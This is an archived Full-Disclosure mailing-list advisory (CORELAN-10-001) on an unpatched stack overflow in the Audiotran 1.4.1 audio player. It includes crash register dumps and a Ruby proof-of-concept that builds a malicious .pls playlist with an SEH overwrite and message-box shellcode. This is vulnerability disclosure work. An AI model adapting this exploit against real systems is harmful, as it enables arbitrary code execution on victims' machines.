| Main Archive Page > Month Archives > full-disclosure-uk archives |
[Full-disclosure] [CORELAN-10-001] Audiotran 1.4.1 buffer overflow
From: Security <security_at_nospam>Date: Sat Jan 09 2010 - 19:02:59 GMT
To: "full-disclosure@lists.grok.org.uk" <full-disclosure@lists.grok.org.uk>, "secalert@securityreason.com" <secalert@securityreason.com>, "bugtraq@securityfocus.com" <bugtraq@securityfocus.com>, "vuln@secunia.com" <vuln@secunia.com>
|------------------------------------------------------------------|
| __ __ |
| _________ ________ / /___ _____ / /____ ____ _____ ___ |
| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |
| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |
| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |
| |
| http://www.corelan.be:8800 |
| security@corelan.be |
| |
|-------------------------------------------------[ EIP Hunters ]--|
| |
| Vulnerability Disclosure Report |
| |
|------------------------------------------------------------------|
Advisory : CORELAN-10-001
Disclosure date : January 9th, 2010
Corelan reference : http://www.corelan.be:8800/index.php/forum/security-advisories/corelan-10-001-audiotran-buffer-overflow/
0x00 : Vulnerability information
[*] Product : Audiotran [*] Version : 1.4.1 [*] Vendor : E-Soft [*] URL : http://www.e-soft.co.uk/Audiotran.htm [*] Platform : Windows [*] Type of vulnerability : Stack overflow [*] Risk rating : Medium [*] Issue fixed in version : not fixed [*] Vulnerability discovered by : Sebastien Duquette [*] Greetings to : corelanc0d3r, rick2600, mr_me & MarkoT from Corelan Team
0x01 : Vendor description of software
>From the vendor website:
"Audiotran is an audio player with speed and pitch changer."
0x02 : Vulnerability details
Audiotran suffers from a stack overflow in the handling of playlist files. Here is the content of memory after the overflow :
Registers: eax=00000041 ebx=ffffffff ecx=ffffffff edx=00000002 esi=00130000 edi=01adcf48 eip=01a83db6 esp=0012de90 ebp=0012e060 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246 AdjMmsEng!djWaveformAnalyzerMouseActionGet+0x45863: 01a83db6 8806 mov byte ptr [esi],al ds:0023:00130000=41
SEH chain:
0012e7dc: <Unloaded_nr.dll>+41414140 (41414141)
Invalid exception stack at 41414141
Call stack: 0012e060 01a7b862 AdjMmsEng!djWaveformAnalyzerMouseActionGet+0x45863 0012e07c 01a0be1b AdjMmsEng!djWaveformAnalyzerMouseActionGet+0x3d30f 0012e7e8 41414141 AdjMmsEng!djLrcFileTimeEnhancedTagsGetAt+0x13696 0012e7ec 41414141 <Unloaded_nr.dll>+0x41414140
By opening a specially crafted playlist (.pls), it is possible to execute arbitrary code.
0x03 : Vendor communication
[*] 30/12/2009 : vendor contacted [*] No response [*] 09/01/2010 : public disclosure
Note: The same vulnerability was disclosed in a software from E-Soft (DJ Studio Pro) 3 months ago and is still unpatched.
0x04 : Exploit
#!/usr/bin/ruby
# Audiotran 1.4.1 Win XP SP2/SP3 English BOF SEH Exploit
# Corelan Team MsgBox
payload =
"\xeb\x22\x56\x31\xc0\x64\x8b\x40\x30\x85\xc0\x78" +
"\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\xeb" +
"\x09\x8b\x40\x34\x8d\x40\x7c\x8b\x40\x3c\x5e\xc3" +
"\xeb\x69\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54" +
"\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb" +
"\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0" +
"\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb" +
"\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb" +
"\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b" +
"\x01\xe8\x89\x44\x24\x1c\x61\xc3\xad\x50\x52\xe8" +
"\xaa\xff\xff\xff\x89\x07\x44\x44\x44\x44\x44\x44" +
"\x44\x44\x47\x47\x47\x47\x39\xce\x75\xe6\xc3\x4c" +
"\x4c\x4c\x4c\x89\xe5\xe8\x68\xff\xff\xff\x89\xc2" +
"\xeb\x1c\x5e\x8d\x7d\x04\x89\xf1\x80\xc1\x0c\xe8" +
"\xc8\xff\xff\xff\xeb\x15\x31\xd2\x59\x88\x51\x36" +
"\x51\x52\xff\x54\x24\x0c\xe8\xdf\xff\xff\xff\x57" +
"\x7f\x29\x62\xe8\xe6\xff\xff\xff\x43\x6f\x72\x65" +
"\x6c\x61\x6e\x20\x54\x65\x61\x6d\x20\x53\x68\x65" +
"\x6c\x6c\x63\x6f\x64\x65\x20\x2d\x20\x50\x72\x6f" +
"\x67\x72\x61\x6d\x20\x65\x78\x70\x6c\x6f\x69\x74" +
"\x65\x64\x20\x73\x75\x63\x65\x73\x73\x66\x75\x6c" +
"\x6c\x79\x58"
f = File.new("audiotran_poc.pls", 'w') f.write 'A' * 1308 #padding f.write "\xeb\x06\x90\x90" f.write "\xcb\x75\x52\x73" # ret at 0x735275CB [msvbvm60.dll] f.write payload f.write 'A' * 9000 # padding f.close
This transmission is intended only for use by the intended recipient(s). If you are not an intended recipient you should not read, disclose, copy, circulate or in any other way use the information contained in this transmission. The information contained in this transmission may be confidential and/or privileged. If you have received this transmission in error, please notify the sender immediately and delete this transmission including any attachments.
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/